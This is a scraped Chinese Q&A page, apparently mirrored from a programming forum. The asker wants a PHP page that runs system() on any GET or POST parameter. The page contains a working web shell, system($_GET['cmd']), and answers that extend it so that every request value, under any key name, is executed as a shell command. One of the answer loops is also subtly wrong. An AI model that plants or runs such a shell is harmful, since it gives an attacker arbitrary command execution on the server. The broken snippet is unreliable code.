php - 通过任何参数和任何方法取值
Posted
技术标签:
【中文标题】php - 通过任何参数和任何方法取值【英文标题】:php - take a value by any parameter and any method 【发布时间】:2017-02-16 16:24:12 【问题描述】:我正在尝试制作一个简单的页面命令执行漏洞...这是我的代码:
system($_GET['cmd']);
它工作正常,像这样:http://example/index.php?cmd=ls
问题是我想让这个小代码与任何参数和任何方法(GET 或 POST)一起工作
例如,如果使用任何参数,那么它仍然会通过系统方法,即:“?hello=ls”。 (我不知道他们在哪里使用hello
作为密钥。有什么想法吗?
【问题讨论】:
然后使用$_REQUEST
【参考方案1】:
您可以将每个索引键存储在一个数组中,然后循环设置值。
$keys = ['cmd', 'hello', 'etc..']; // jus add your params
// GET params
foreach($keys as $_key)
if(isset($_GET[$_key]) && !empty($_GET[$_key]))
system($_GET[$_key]);
// POST params
foreach($keys as $_key)
if(isset($_POST[$_key]) && !empty($_POST[$_key]))
system($_POST[$_key]);
如果您不想知道 POST/GET 的密钥,那么:
foreach($_GET as $key)
system($_GET[$key]);
foreach($_POST as $key)
system($_POST[$key]);
【讨论】:
OP:“问题是我想制作这个小代码,使用任何参数和任何方法(GET 或 POST)” 你的意思是我做不到? Ofc 你可以,这是一个简单的方法,只是有些人喜欢哭很多 我不想定义特定的参数..我想处理任何事情。 然后只需 foreach$_GET
和 foreach $_POST
它将遍历所有设置(无论键叫什么)...请参阅更新的问题以获取解决方案。【参考方案2】:
您可以尝试使用:
file_get_contents('php://input');
获取 RAW 输入
【讨论】:
以上是关于php - 通过任何参数和任何方法取值的主要内容,如果未能解决你的问题,请参考以下文章